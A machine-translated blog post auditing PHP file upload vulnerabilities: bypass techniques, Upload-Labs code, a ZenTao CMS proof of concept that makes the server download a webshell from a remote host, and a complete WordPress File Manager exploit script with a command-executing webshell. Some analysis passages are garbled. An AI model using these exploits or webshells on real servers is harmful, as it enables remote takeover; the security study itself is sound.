PHP code audit 7 - file upload vulnerability

1. Basics of File Upload Vulnerabilities

1. Vulnerability principle

The file upload vulnerability means that the user uploads an executable script file and obtains the ability to execute server-side commands through this script file. This exploit is one of the fastest and most direct methods of getShell.

A common scenario is that the web server allows users to upload pictures or ordinary text files for storage, and the user bypasses the upload mechanism to upload malicious code and execute it to control the server.

2. Common defense methods and bypass techniques

  • Defense method 1: front-end file suffix detection

    绕过方法:修改文件后缀为可允许类型,抓包修改文件后缀
    
  • Defense Method 2: Blacklist

    • Bypass with special suffix

      示例情况:
      jsp: jspx,jspf
      asp: asa,cer,aspx
      php: php1,php2,php3,php5,phtml
      exe: exee
      
    • Upload .htaccess file bypass

      .htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过.htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问等。.htaccess文件内容示例如下:
      		<FilesMatch "shell">
      			SetHandler application/x-httpd-php
      		</FilesMatch>
      通过此方法可以让任何文件名中包含了shell字符串的文件都使用PHP来解析。
      不过要使用.htaccess文件有一定的限制条件,在apache的配置文件中,需要将AllowOverride 设置为 ALL。否则.htaccess文件会不起作用。
      
    • Windows system uses Windows system features to bypass

      1 :“::$DATA” 绕过
      	“::$DATA” 是Windows中的一个文件流标识符,会将“::$DATA”之后的内容当做文件流处理,而不把他当做文件名,从而绕过文件后缀检测。比如shell.php::DATA,由于后缀不是黑名单中的后缀,所以绕过检测。
      2:空格绕过
      	利用特性是windows会对文件中的点进行自动去除,所以可以在文件名末尾加点绕过黑名单检测
      3: 空格绕过
      	如果黑名单检测前没有对文件名做空格去除处理,那么就可以在文件名后面加空格绕过。
      4:其他绕过方法
      	双写文件后缀名绕过,比如phPhPp,适用于检测黑名单后缀使用str_replace()替换为空的情况。
      	后缀大小写绕过,比如PhP,PHp等,适用于没有对后缀名做大小写转换情况。
      
  • Defense Method 3: Whitelist

    • File extension whitelist detection

      使用00截断进行绕过,不过此方法具有一定的限制:
      	1)PHP版本小于5.3.4,PHP 5.3.4以后的版本修复了此问题
      	2)php.ini里面的magic_quotes_gpc为OFF,在PHP4.0及以上的版本中,此选项默认为ON。
      
    • MIME type validation

      文件的MIME类型校验常见的就是白名单校验的方式,我们只需要修改上传文件的MIME类型即可,修改后,并不会对脚本文件的解析产生影响。常见的文件MIME类型如下:
      .png: image/png
      .gif: image/gif
      .pdf: application/pdf
      .xml: text/xml
      .word: application/msword
      
    • file header verification

      常见的文件头(文件幻数)如下:
      JPEG (jpg),文件头:FFD8FF
      PNG (png),文件头:89504E47
      GIF (gif),文件头:47494638
      XML (xml),文件头:3C3F786D6C
      HTML (html),文件头:68746D6C3E
      在对文件头进行校验时,用16进制编辑工具修改我们的文件头即可.
      
    • Cooperate with file parsing vulnerabilities to bypass

      常见的解析漏洞:
      1、Apache陌生后缀解析漏洞
      2、Apache罕见后缀解析,比如php3,php4,php5,pht,phtml等
      3、Apache 2.4.0-2.4.29 \x0A换行解析漏洞
      4、Apache 错误配置导致的解析漏洞。比如Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以 php 方式执行。
      5、Nginx低版本空字节代码解析漏洞:可以通过在任意文件名后面增加%00.php解析为php,如1.jpg%00.php
      6、PHP-cig解析漏洞:在php配置文件中,开启了cgi.fix_pathinfo,导致图片马1.jpg可以通过访问1.jpg/.php、1.jpg%00.php解析成php文件
      7、IIS目录解析漏洞,IIS6.0和IIS5.x
      8、IIS分号解析漏洞,在IIS-6.0的版本,服务器默认不解析;后面的内容,所以xxx.asp;.jpg会被解析成xxx.asp。
      
  • Defense method 5: secondary rendering of image files

    此方法比较少见,一般的绕过方法就是观察二次渲染后的图片和原始图片有哪些地方是没有被渲染过的,然后尝试在没有被渲染的位置插入木马内容。
    
  • Defense Method 6: File Renaming

    这样的方法实际上没有直接的绕过方式,主要还是配合其他的一些绕过方式进行,比如白名单的00截断,黑名单的特殊后缀绕过等,然后根据上传后被重命名的文件名来进行访问.
    但是如果文件在重命名之前,使用了白名单机制检测文件后缀,然后对整个文件名(包含文件后缀)进行重命名,再添加白名单中的文件后缀进行保存的话,就只能考虑利用文件包含漏洞来进行利用了。
    

3. Recently announced file upload vulnerabilities

  • dotCMS api/content arbitrary file upload vulnerability (CVE-2022-26352)

  • WSO2 fileupload arbitrary file upload vulnerability (CVE-2022-29464)

  • e-office UploadFile.php file upload vulnerability

  • File upload vulnerability exists in TongWeb management console (CNVD-2021-24778)

  • Vulnerability of arbitrary file upload in yyoa A8 collaborative management software

  • Fanruan V9 arbitrary file upload vulnerability

  • Kingsoft Terminal Security System V8/V9 Arbitrary File Upload Vulnerability

2. Partial code analysis of Upload-Labs

1. Pass-4 suffix blacklist detection

Or look at the code first:

if (isset($_POST['submit'])) {
    
    
    if (file_exists(UPLOAD_PATH)) {
    
    
      //定义黑名单
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.'); //从第一个“.”开始截取后缀名
        $file_ext = strtolower($file_ext); //后缀名转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
      	$file_ext = trim($file_ext); //文件后缀首尾去空
        if (!in_array($file_ext, $deny_ext)) {
    
    
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
    
    
                $is_upload = true;
            } else {
    
    
                $msg = '上传出错!';
            }
        } else {
    
    
            $msg = '此文件不允许上传!';
        }
    } else {
    
    
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
    

It can be seen that a lot of suffixes are defined in our blacklist, including our common suffixes that can be parsed are put in the blacklist.

But here we found that after filtering the "dot" at the end of the file, he filtered the space after the file name, and then did not filter again. In this case, we can use the file suffix plus ". ." to bypass detection.

First construct a phpinfo file, set it to jpg suffix, capture the packet in burpsuite and modify the file name:

insert image description here

Then we access fuck.php:

insert image description here

It can be seen that the uploaded php file has been successfully executed. That is to say, bypassing the blacklist detection is successful.

However, there is another way to prevent it from being bypassed. We can find that the .htaccess suffix is ​​not filtered in the blacklist, so we can redefine the file parsing rules by uploading the .htaccess file, and then upload the webshell.

2. File header whitelist detection

First look at the source code:

function getReailFileType($filename){
    
    
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //读取文件内容,但是只读前2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);  //获取文件头的整型数据
    $fileType = '';    
    switch($typeCode){
    
       //通过文件头判断文件后缀   
        case 255216: $fileType = 'jpg';
            break;
        case 13780: $fileType = 'png';
            break;        
        case 7173: $fileType = 'gif';
            break;
        default:  $fileType = 'unknown';
        }    
        return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    
    
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);//获取校验结果
    if($file_type == 'unknown'){
    
       
        $msg = "文件未知,上传失败!";
    }else{
    
    
      //拼接文件名和校验得出的文件后缀,并保存。
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type; 
        if(move_uploaded_file($temp_file,$img_path)){
    
    
            $is_upload = true;
        } else {
    
    
            $msg = "上传出错!";
        }
    }
}

Through the above code analysis, the final saving result of our file name is xxxx.png or xxxx.jpg or xxxx.gif, so no matter what kind of file we upload, even if the file header is modified, the file header detection is bypassed. It will still be saved as a file in image format, so you can only use the file to exploit the vulnerability according to the title of the article.

First of all, we need to make a picture horse, and use the copy command to complete it under windows. Then upload directly.

insert image description here

It can be seen that after uploading, the file is renamed to 9920220721232018.png, so we need to use this file name model file contains:

insert image description here

It can be seen that the file is included and the php code is successfully executed.

3. ZenTao CMS file upload vulnerability

There is a file upload vulnerability in ZenTao CMS<=12.4.2 version. Due to the developer’s lax filtering of link parameters, the attacker can control the download link, which leads to the remote download of malicious script files on the server, resulting in arbitrary code execution and access to webshell.

1. System architecture analysis

The ZenTao CMS framework supports the MVC software architecture pattern. The basic situation of its system directory solution structure is as follows:

├── api      //接口目录
├── bin      //存放禅道系统的一些命令脚本
├── config   //系统运行的相关配置文件
├── db       //历次升级的数据库脚本和完整的建库脚本。
├── doc      // 文档。
├── framework//框架核心目录,禅道php框架的核心类文件,里面包含了router, control, model和helper的定义文件。
├── lib      //常用的类。比如html,js和css类、数据库DAO类、数据验证fixer类等。
├── module   //模块目录,存放具体的功能模块。
├── sdk      //PHP sdk类。
├── tmp      //存放禅道程序运行时的临时文件。
└── www      //存放各种样式表文件,js文件,图片文件,以及禅道的入口程序index.php

The basics and principles of the operating framework of the CMS:

  • The request is forwarded to index.php ( \zentao\app\htdocs\index.php) through the apache service, and it will perform resource scheduling.
  • index.php loads the framework file, initializes the application, parses the URI request, and obtains the module name, method and parameters corresponding to the request. For example URL: /zentao/testcase-browse-1.html, the module name is testcase, the method name is browse, and 1 is the parameter.
  • Then load the control method and model method of the corresponding module, and then render the template (view file) and present it to the user.

2. Vulnerability analysis

First, we need to know where the vulnerability is generated. Through the following POC, we can find that the template used is clint, and the function is the download() function.

1)http://[目标地址]/www/client-download-[$version参数]-[base64加密后的恶意文件地址].html
2)http:// [目标地址] /www/index.php?m=client&f=download&version=[$version参数]&link=[ base64加密后的恶意文件地址]

The specific function location is: line 86 of \zentaopms\module\client\control.php.

public function download($version = '', $link = '', $os = '')
    {
    
    
        set_time_limit(0);
        $result = $this->client->downloadZipPackage($version, $link);
        if($result == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->downloadFail));
        $client = $this->client->edit($version, $result, $os);
        if($client == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->saveClientError));
        $this->send(array('result' => 'success', 'client' => $client, 'message' => $this->lang->saveSuccess, 'locate' => inlink('browse')));
    }

It can be seen that the downloadZipPackage() function is used to process the target file first, and then the processing result is judged, and the prompt information for use is output. Then the key point is our downloadZipPackage() function. Let’s track this function and search globally and find that this function is in \zentaopms\module\client\ext\model\xuanxuan.php:

public function downloadZipPackage($version, $link)
{
    
    
    $decodeLink = helper::safe64Decode($link); //base64解码URL链接
    if(!preg_match('/^https?\:\/\//', $decodeLink)) return false;  //通过正则表达式检测$link链接是否是http或https开头,如果是,则返回false。这里可以将http头大写绕过检测。
    return parent::downloadZipPackage($version, $link);//调用父节点的downloadZipPackage()
}
//在新12.4.2以后的版本中,增加了白名单机制检测文件后缀名
$file      = basename($decodeLink);
$extension = substr($file, strrpos($file, '.') + 1);
if(strpos(",{
      
      $this->config->file->allowed},", ",{
      
      $extension},") === false) return false;

We see that in \zentaopms\module\client\ext\model\xuanxuan.php, the downloadZipPackage() function calls the downloadZipPackage() function of the parent node, which is in \zentaopms\module\client\model.php Line 164.

public function downloadZipPackage($version, $link){
    
    
        ignore_user_abort(true);
        set_time_limit(0);
        if(empty($version) || empty($link)) return false;
        $dir  = "data/client/" . $version . '/';   //通过version设置保存文件的地址
        $link = helper::safe64Decode($link);       //对远程文件的URL进行base64解码
        $file = basename($link);    //获取远程文件的文件名
        if(!is_dir($this->app->wwwRoot . $dir)){
    
       //不存在文件夹则创建文件加
            mkdir($this->app->wwwRoot . $dir, 0755, true);
        }
        if(!is_dir($this->app->wwwRoot . $dir)) return false; //如果目录创建失败,返回false。
        if(file_exists($this->app->wwwRoot . $dir . $file)){
    
    
            return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;
        }
        ob_clean();
        ob_end_flush();
        $local  = fopen($this->app->wwwRoot . $dir . $file, 'w');  //以w模式打开文件
        $remote = fopen($link, 'rb');   //读取远程文件
        if($remote === false) return false;
        while(!feof($remote)){
    
       //远程文件读取成功,则写入到打开的$local文件中
            $buffer = fread($remote, 4096);   
            fwrite($local, $buffer);
        }
        fclose($local);
        fclose($remote);
        return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;
    }
}

In this function, our remote file is saved to the local data/client/.$version/directory, and in the process of saving it, the file suffix and file content are not processed, but are carried out intact. save. So it leads to the generation of arbitrary file upload vulnerability.

3. Vulnerability recurrence

First, we construct a PHP webshell on the remote server, which is Godzilla's horse directly used here:

insert image description here

Then we construct a POC and let the CMS system download our Trojan file, but here we need to base64 encode our URL first:

insert image description here

Then construct the POC:

http://targetIp/index.php?m=client&f=download&version=1&link=SFRUUDovLzE5Mi4xNjguOTcuMTkwOjgwMDAvZnVjay5waHA=

Visit the POC link, but it prompts that the download fails. Through debugging, it is found that the regular detection result is true when the http header is detected. As a result, it failed to bypass, but observing the source code found that the /i modifier was not used to specify case insensitivity, so theoretically uppercase can bypass the regular check of the http header.

Here is another way to do it, that is, to use ftp, and this time the file is successfully uploaded.

Four, Wordpress File Manager arbitrary file upload vulnerability analysis

1. Vulnerability analysis

First let's look at the exploit script:

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
"""
@Author  : xDroid
@File    : wp.py
@Time    : 2020/9/21
"""
import requests
requests.packages.urllib3.disable_warnings()
from hashlib import md5
import random
import json
import optparse
import sys
 
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
ENDC = '\033[0m'
 
proxies={
    
     'http':'127.0.0.1:8080', 'https':'127.0.0.1:8080' }
 
def randmd5():
    new_md5 = md5()
    new_md5.update(str(random.randint(1, 1000)).encode())
    return new_md5.hexdigest()[:6]+'.php'
 
def file_manager(url):
    if not url:
        print('#Usage : python3 file_manager_upload.py -u http://127.0.0.1')
        sys.exit()
    vuln_url=url.strip()+"/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"
    filename=randmd5()
    headers={
    
    
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0',
        'Content-Type':'multipart/form-data;boundary=---------------------------42474892822150178483835528074'
    }
    data="-----------------------------42474892822150178483835528074\r\nContent-Disposition: form-data; name=\"reqid\"\r\n\r\n1744f7298611ba\r\n-----------------------------42474892822150178483835528074\r\nContent-Disposition: form-data; name=\"cmd\"\r\n\r\nupload\r\n-----------------------------42474892822150178483835528074\r\nContent-Disposition: form-data; name=\"target\"\r\n\r\nl1_Lw\r\n-----------------------------42474892822150178483835528074\r\nContent-Disposition: form-data; name=\"upload[]\"; filename=\"%s\"\r\nContent-Type: application/php\r\n\r\n<?php system($_GET['cmd']); ?>\r\n-----------------------------42474892822150178483835528074\r\nContent-Disposition: form-data; name=\"mtime[]\"\r\n\r\n1597850374\r\n-----------------------------42474892822150178483835528074--\r\n"%filename
    try:
        resp=requests.post(url=vuln_url,headers=headers,data=data,timeout=3, verify=False,proxies=proxies)
        result = json.loads(resp.text)
        if filename == result['added'][0]['url'].split('/')[-1]:
            print(GREEN+'[+]\t\t'+ENDC+YELLOW+'File Uploaded Success\t\t'+ENDC)
            while(True):
                command = input("请输入执行的命令:")
                if "q" == command:
                    sys.exit()
                exec_url = url+'/wp-content/plugins/wp-file-manager/lib/files/'+filename+'?cmd='+command.strip()
                exec_resp = requests.get(url=exec_url)
                exec_resp.encoding='gb2312'
                print(exec_resp.text)
 
        else:
            print(RED+'[-]\t\tUploaded failed\t\t'+ENDC)
    except Exception as e:
        print(RED + '[-]\t\tUploaded failed\t\t' + ENDC)
 
 
if __name__ == '__main__':
    banner = GREEN+'''
      __ _ _                                                    
     / _(_) | ___   _ __ ___   __ _ _ __   __ _  __ _  ___ _ __ 
    | |_| | |/ _ \ | '_ ` _ \ / _` | '_ \ / _` |/ _` |/ _ \ '__|
    |  _| | |  __/ | | | | | | (_| | | | | (_| | (_| |  __/ |   
    |_| |_|_|\___| |_| |_| |_|\__,_|_| |_|\__,_|\__, |\___|_|   
                                                |___/           
                    by: Timeline Sec
                    file manager 6.0-6.8 file upload
    '''+ENDC
    print(banner)
    parser = optparse.OptionParser('python3 %prog' + '-h')
    parser.add_option('-u', dest='url', type='str', help='wordpress url')
    (options, args) = parser.parse_args()
    file_manager(options.url)

As you can see, our vulnerability is in /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php. Let's go into the file and see:

$opts = array(
	// 'debug' => true,
	'roots' => array(
		// Items volume
		array(
			'driver' => 'LocalFileSystem',  // driver for accessing file system (REQUIRED)
			'path' => '../files/', // path to files (REQUIRED)
			'URL' => dirname($_SERVER['PHP_SELF']) . '/../files/', // URL to files 
			'trashHash'=> 't1_Lw',// elFinder's hash of trash folder
			'winHashFix' => DIRECTORY_SEPARATOR !== '/', 
			'uploadDeny' => array('all'),// All Mimetypes not allowed to upload
			'uploadAllow' => array('all'), 
			'uploadOrder'=> array('deny', 'allow'),
			'accessControl' => 'access'// disable and hide dot starting files (OPTIONAL)
		),
		array(
			'id' => '1',
			'driver' => 'Trash',
			'path' => '../files/.trash/',
			'tmbURL' => dirname($_SERVER['PHP_SELF']) . '/../files/.trash/.tmb/',
			'winHashFix' => DIRECTORY_SEPARATOR !== '/', 
			'uploadDeny' => array('all'),
			'uploadAllow' => array('image/x-ms-bmp', 'image/gif', 'image/jpeg', 'image/png', 'image/x-icon', 'text/plain'), // Same as above
			'uploadOrder' => array('deny', 'allow'),  // Same as above
			'accessControl' => 'access',// Same as above
		),
	)
);
// run elFinder
$connector = new elFinderConnector(new elFinder($opts));
$connector->run();

As you can see, in this file, an elFinderConnector object is instantiated, and then the run() method of this object is called. Let's go into the run method to see:

 public function run()
    {
    
    
        $isPost = $this->reqMethod === 'POST';    //判断请求方法是否是POST
        $src = $isPost ? array_merge($_GET, $_POST) : $_GET; //将POST数据写入src
        $maxInputVars = (!$src || isset($src['targets'])) ? ini_get('max_input_vars') : null;   //获取php.ini中关于上传数组的大小限制,
        if ((!$src || $maxInputVars) && $rawPostData = file_get_contents('php://input')) {
    
     //获取了POST传送过来的数据
            $parts = explode('&', $rawPostData);
            if (!$src || $maxInputVars < count($parts)) {
    
    
                $src = array();
                foreach ($parts as $part) {
    
      //循环遍历POST中的每个参数
                    list($key, $value) = array_pad(explode('=', $part), 2, ''); //将POST参数的key与value分离,写入列表中
                    $key = rawurldecode($key);
                  //对key进行检测,并更具不同情况获取URL decode后的value.
                    if (preg_match('/^(.+?)\[([^\[\]]*)\]$/', $key, $m)) {
    
    
                        $key = $m[1];
                        $idx = $m[2];
                        if (!isset($src[$key])) {
    
    
                            $src[$key] = array();
                        }
                        if ($idx) {
    
    
                            $src[$key][$idx] = rawurldecode($value);
                        } else {
    
    
                            $src[$key][] = rawurldecode($value);
                        }
                    } else {
    
    
                        $src[$key] = rawurldecode($value);
                    }
                }
                $_POST = $this->input_filter($src);
                $_REQUEST = $this->input_filter(array_merge_recursive($src, $_REQUEST));
            }
        }
   				//判断上传的target数组的长度
        if (isset($src['targets']) && $this->elFinder->maxTargets && count($src['targets']) > $this->elFinder->maxTargets) {
    
    
            $this->output(array('error' => $this->elFinder->error(elFinder::ERROR_MAX_TARGTES)));
        }

        $cmd = isset($src['cmd']) ? $src['cmd'] : '';
        $args = array();
				//判断是否存在json_encode方法。
        if (!function_exists('json_encode')) {
    
    
            $error = $this->elFinder->error(elFinder::ERROR_CONF, elFinder::ERROR_CONF_NO_JSON);
            $this->output(array('error' => '{"error":["' . implode('","', $error) . '"]}', 'raw' => true));
        }
        if (!$this->elFinder->loaded()) {
    
    
            $this->output(array('error' => $this->elFinder->error(elFinder::ERROR_CONF, elFinder::ERROR_CONF_NO_VOL), 'debug' => $this->elFinder->mountErrors));
        }
				//判断是否存在CMD参数以及是否是POST类型的传输数据。
        if (!$cmd && $isPost) {
    
    
            $this->output(array('error' => $this->elFinder->error(elFinder::ERROR_UPLOAD, elFinder::ERROR_UPLOAD_TOTAL_SIZE), 'header' => 'Content-Type: text/html'));
        }
   			//通过commandExists判断cmd参数是否存在。
        if (!$this->elFinder->commandExists($cmd)) {
    
    
            $this->output(array('error' => $this->elFinder->error(elFinder::ERROR_UNKNOWN_CMD)));
        }
        $hasFiles = false;
        foreach ($this->elFinder->commandArgsList($cmd) as $name => $req) {
    
    
            if ($name === 'FILES') {
    
    
                if (isset($_FILES)) {
    
    
                    $hasFiles = true;
                } elseif ($req) {
    
    
                    $this->output(array('error' => $this->elFinder->error(elFinder::ERROR_INV_PARAMS, $cmd)));
                }
            } else {
    
    
                $arg = isset($src[$name]) ? $src[$name] : '';

                if (!is_array($arg) && $req !== '') {
    
    
                    $arg = trim($arg);
                }
                if ($req && $arg === '') {
    
    
                    $this->output(array('error' => $this->elFinder->error(elFinder::ERROR_INV_PARAMS, $cmd)));
                }
                $args[$name] = $arg;
            }
        }
        $args['debug'] = isset($src['debug']) ? !!$src['debug'] : false;
        $args = $this->input_filter($args);
        if ($hasFiles) {
    
    
            $args['FILES'] = $_FILES;
        }
        try {
    
    
          	//执行exec方法。
            $this->output($this->elFinder->exec($cmd, $args));
        } catch (elFinderAbortException $e) {
    
    
            $this->elFinder->getSession()->close();
            // HTTP response code
            header('HTTP/1.0 204 No Content');
            // clear output buffer
            while (ob_get_level() && ob_end_clean()) {
    
    
            }
            exit();
        }
    }

It can be seen that in the run() function, the data requested by POST and GET is first put into $src, and then the parameters passed in by POST are judged. After several judgments, the commandExists() function is used to detect the parameter "cmd" passed in by POST. This function calls the commands[] array for detection. Since this is a file upload, so simply pay attention to the file upload in commands Definition:

public function commandExists($cmd)
    {
    
    
        return $this->loaded && isset($this->commands[$cmd]) && method_exists($this, $cmd);
    }
//commands[]数组情况
'upload' => array('target' => true, 'FILES' => true, 'mimes' => false, 'html' => false, 'upload' => false, 'name' => false, 'upload_path' => false, 'chunk' => false, 'cid' => false, 'node' => false, 'renames' => false, 'hashes' => false, 'suffix' => false, 'mtime' => false, 'overwrite' => false, 'contentSaveId' => false),

Then loop through and write the parameters passed in by POST into the args[] array:

foreach ($this->elFinder->commandArgsList($cmd) as $name => $req) {
    
    
            if ($name === 'FILES') {
    
    
                if (isset($_FILES)) {
    
    
                    $hasFiles = true;
                } elseif ($req) {
    
    
                    $this->output(array('error' => $this->elFinder->error(elFinder::ERROR_INV_PARAMS, $cmd)));
                }
            } else {
    
    
                $arg = isset($src[$name]) ? $src[$name] : '';

                if (!is_array($arg) && $req !== '') {
    
    
                    $arg = trim($arg);
                }
                if ($req && $arg === '') {
    
    
                    $this->output(array('error' => $this->elFinder->error(elFinder::ERROR_INV_PARAMS, $cmd)));
                }
                $args[$name] = $arg;
            }
        }

Then the input_filter() method is called to filter and escape the parameters in the array:

protected function input_filter($args)
    {
    
    
        static $magic_quotes_gpc = NULL;

        if ($magic_quotes_gpc === NULL)
          	//使用magic_quotes_gpc进行转义
            $magic_quotes_gpc = (version_compare(PHP_VERSION, '5.4', '<') && get_magic_quotes_gpc());

        if (is_array($args)) {
    
    
            return array_map(array(& $this, 'input_filter'), $args);
        }
  			//替换掉转义后的%00
        $res = str_replace("\0", '', $args);
        $magic_quotes_gpc && ($res = stripslashes($res));
        $res = stripslashes($res);
        return $res;
    }

Then save the file uploaded by the form to $args['FILES'], and then call the exec() method:

if ($hasFiles) {
    
    
    $args['FILES'] = $_FILES;
 }
 try {
    
    
     //执行exec方法。
     $this->output($this->elFinder->exec($cmd, $args));
}

Follow up in the exec method, enter this − > this->this> cmd($args) calls the upload() function.

 if (!is_array($result)) {
    
    
            try {
    
    
                $result = $this->$cmd($args);
            } catch (elFinderAbortException $e) {
    
    
                throw $e;
            } catch (Exception $e) {
    
    
                $result = array(
                    'error' => htmlspecialchars($e->getMessage()),
                    'sync' => true
                );
                if ($this->throwErrorOnExec) {
    
    
                    throw $e;
                }
            }
        }

Continue to follow up the upload function: assign the value of args['target'] to the value of args['target'] toargs[target ]is assigned tothe target, and then the volume() function is called:

insert image description here

Enter the volume() function, you can see that there are two options for volmns, "l1" and "t1", if the content of the target we enter and exit starts with "l1" or "t1", return the corresponding ID, otherwise Return false. When false is returned, it will be detected in uload and an error message will be returned. In other words, targrt can only be successfully uploaded if it starts with "l1" or "t1".

insert image description here

Then, after a series of tests in the upload() function, the itemLock() function is entered, and the itemLocked() function is called through the judgment in the first if statement:

insert image description here

Enter the itemLocked() function, create and detect the .lock file in the .tmp directory of the current directory, and return true if it exists:

insert image description here

Then use file_put_conyent() in itemLock() to lock the file. Then go back to the upload() function and use the $volume->getMimeTable() method to obtain the MIME types corresponding to different file suffixes.

Then enter the trigger function to judge whether the value of listeners[$cmd] is empty (normally empty here):

insert image description here

Then go back to the upload() function and use the touch() method to create a tmp cache file under the windows directory:

insert image description here

Then use the upload() function to judge whether the cache file tmpnames exists, whether tmpnames exists,Whether t m p nam es exists, whether target is empty and not equal tohash, hash,ha s h , whether file is empty, etc. Finally, it is detected whether the cache file in the tmp directory under the cache current directory exists and deletes the file. Then a result array is returned:

insert image description here

Then it returns to the exec function, which is processed by the removed() function and resetResultStat() function:

insert image description here

Then call the dir() function:

insert image description here

The file() function is called in the dir() function:

insert image description here

In the file function, the decode() function is called. In the decode() function, the last two characters of the target are intercepted and base64 decoded. The decoded result is "/", which is the path to save our file.

insert image description here

After the decode() function returns, the stat() function is called again:

protected function stat($path)
    {
    
    
        if ($path === false || is_null($path)) {
    
    
            return false;
        }
        $is_root = ($path == $this->root);
        if ($is_root) {
    
    
            $rootKey = $this->getRootstatCachekey();
            if ($this->sessionCaching['rootstat'] && !isset($this->sessionCache['rootstat'])) {
    
    
                $this->sessionCache['rootstat'] = array();
            }
            if (!isset($this->cache[$path]) && !$this->isMyReload()) {
    
    
                // need $path as key for netmount/netunmount
                if ($this->sessionCaching['rootstat'] && isset($this->sessionCache['rootstat'][$rootKey])) {
    
    
                    if ($ret = $this->sessionCache['rootstat'][$rootKey]) {
    
    
                        if ($this->options['rootRev'] === $ret['rootRev']) {
    
    
                            if (isset($this->options['phash'])) {
    
    
                                $ret['isroot'] = 1;
                                $ret['phash'] = $this->options['phash'];
                            }
                            return $ret;
                        }
                    }
                }
            }
        }
        $rootSessCache = false;
        if (isset($this->cache[$path])) {
    
    
            $ret = $this->cache[$path];
        } else {
    
    
            if ($is_root && !empty($this->options['rapidRootStat']) && is_array($this->options['rapidRootStat']) && !$this->needOnline) {
    
    
                $ret = $this->updateCache($path, $this->options['rapidRootStat'], true);
            } else {
    
    
                $ret = $this->updateCache($path, $this->convEncOut($this->_stat($this->convEncIn($path))), true);
                if ($is_root && !empty($rootKey) && $this->sessionCaching['rootstat']) {
    
    
                    $rootSessCache = true;
                }
            }
        } 
        if ($is_root) {
    
    
            if ($ret) {
    
    
                $this->rootModified = false;
                if ($rootSessCache) {
    
    
                    $this->sessionCache['rootstat'][$rootKey] = $ret;
                }
                if (isset($this->options['phash'])) {
    
    
                    $ret['isroot'] = 1;
                    $ret['phash'] = $this->options['phash'];
                }
            } else if (!empty($rootKey) && $this->sessionCaching['rootstat']) {
    
    
                unset($this->sessionCache['rootstat'][$rootKey]);
            }
        }
        return $ret;
    }

The return value of the stat() function is ret in array format . Values ​​are returned to the dir function and uload function at once. And assigned to the ret of the upload () function. The value is returned to the dir function and uload function at once. And assigned to the upload () functionre t . The value is returned to the d i r function and the u l o a d function at one time. And assigned to the dir of u pl o a d ( ) function .

insert image description here

Then the mime type is judged, and the mime type is detected through the allowPutmimime function. Here, the mime type corresponding to the php file is text/x-php

insert image description here

Check in the allowPutmime() function:

insert image description here

From the comments that come with the program, it can be seen that if uploadOrderthe array is array('deny','allow'), the upload $mimetype of file is allowed by default. Then get the size of the file. If the file size is illegal, an error will be reported to end the program, and then decode()the processing $dst( POSTinput targetvalue) will return the result and assign it $dstpath. Because $hashit is an empty array, it will be called joinPathCE()to splice $dstpathwith $name(the file name of the uploaded file), and then check the file does it exist.

Finally, saveCE() is called to save memory:

insert image description here

After following up saveCE(), I found that the _save() function was called again, and continued to follow up:

insert image description here

It is found that the copy function is called to save the file content from the cache file.

2. Vulnerability recurrence

First select upload file in file-manager:

insert image description here

Then use burpsuite to capture the packet to construct the payload. After replaying, check the returned result. The uploaded file path is returned in the result:

insert image description here

We use Godzilla (Godzilla's son uploaded) to connect, and it can be seen that the connection is successful.

insert image description here

postscript:

The vulnerability is not complicated, but the nested calls of various functions are too convoluted, and it is dizzy to follow the analysis. I still called through paylaod, and the forward tracking came quickly. At this time, the rookie shed tears of ignorance.

5. References

Guess you like

Origin blog.csdn.net/qq_45590334/article/details/126105099